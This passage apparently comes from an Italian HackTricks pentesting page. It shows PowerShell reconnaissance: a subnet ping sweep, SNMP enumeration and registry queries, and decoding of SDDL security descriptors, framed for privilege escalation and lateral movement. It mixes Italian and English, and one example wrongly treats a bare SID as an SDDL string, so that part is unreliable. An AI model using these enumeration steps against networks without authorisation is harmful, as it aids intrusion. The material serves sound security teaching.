viene utilizzato per verificare la connettività di rete tra un host locale e un host remoto. Invia pacchetti ICMP Echo Request all'host di destinazione e attende una risposta ICMP Echo Reply. Questo comando è utile per diagnosticare problemi di rete, verificare la disponibilità di un host e misurare la latenza di rete.
Esempio di utilizzo:
ping <indirizzo IP o nome host>
Il comando ping
invierà pacchetti ICMP Echo Request all'indirizzo IP o al nome host specificato e visualizzerà le risposte ricevute.
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
SNMP (Simple Network Management Protocol) è un protocollo di gestione di rete utilizzato per monitorare e gestire dispositivi di rete come router, switch e server. SNMP consente ai dispositivi di inviare informazioni di gestione a un sistema di gestione di rete centrale, noto come NMS (Network Management System).
Funzionamento di SNMP
SNMP funziona utilizzando un modello client-server. Il dispositivo di rete agisce come un agente SNMP e il sistema di gestione di rete agisce come un manager SNMP. L'agente SNMP raccoglie le informazioni di gestione dai dispositivi di rete e le rende disponibili al manager SNMP.
Componenti di SNMP
SNMP è composto da tre componenti principali:
-
Manager SNMP: è il sistema di gestione di rete che monitora e gestisce i dispositivi di rete utilizzando SNMP. Il manager SNMP invia richieste agli agenti SNMP per ottenere informazioni di gestione.
-
Agente SNMP: è il software o il modulo hardware installato sui dispositivi di rete che raccoglie e rende disponibili le informazioni di gestione al manager SNMP. L'agente SNMP risponde alle richieste del manager SNMP e invia notifiche in caso di eventi critici.
-
MIB (Management Information Base): è un database che contiene le informazioni di gestione dei dispositivi di rete. Il MIB definisce gli oggetti gestiti e le loro proprietà. Il manager SNMP utilizza il MIB per interpretare le informazioni ricevute dagli agenti SNMP.
Versioni di SNMP
SNMP ha diverse versioni, tra cui SNMPv1, SNMPv2c e SNMPv3. Le versioni più recenti offrono funzionalità di sicurezza avanzate come l'autenticazione e la crittografia dei dati.
Utilizzo di SNMP per il pentesting
Durante un pentesting, SNMP può essere utilizzato per raccogliere informazioni sui dispositivi di rete, come indirizzi IP, porte aperte, versioni del sistema operativo e configurazioni di sicurezza. È possibile utilizzare strumenti come snmpwalk e snmpenum per eseguire attacchi di enumerazione e ottenere informazioni sensibili dai dispositivi di rete.
Tuttavia, è importante notare che SNMP può essere vulnerabile a attacchi come l'enumerazione di stringhe comunità, l'iniezione di pacchetti SNMP e l'accesso non autorizzato ai dati di gestione. Pertanto, è fondamentale configurare correttamente SNMP e implementare misure di sicurezza per proteggere i dispositivi di rete da potenziali attacchi.
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Conversione della stringa SDDL in un formato leggibile
Sometimes during a penetration test, you may come across a Security Descriptor Definition Language (SDDL) string that represents the security descriptor of an object in Windows. This string can be difficult to understand and analyze. However, there is a PowerShell cmdlet called ConvertFrom-SddlString
that can help you convert the SDDL string into a more readable format.
$SddlString = "S-1-5-32-544"
$ReadableFormat = ConvertFrom-SddlString -Sddl $SddlString
$ReadableFormat
This cmdlet takes the SDDL string as input and returns an object that represents the security descriptor in a more human-readable format. The output will include information about the owner, group, and access control entries (ACEs) of the object.
By using this cmdlet, you can easily analyze and understand the permissions and access control settings of various objects in Windows. This can be particularly useful when performing privilege escalation or lateral movement during a penetration test.
Keep in mind that this cmdlet requires administrative privileges to run successfully.
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Proprietario : BUILTIN\Administrators
Gruppo : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.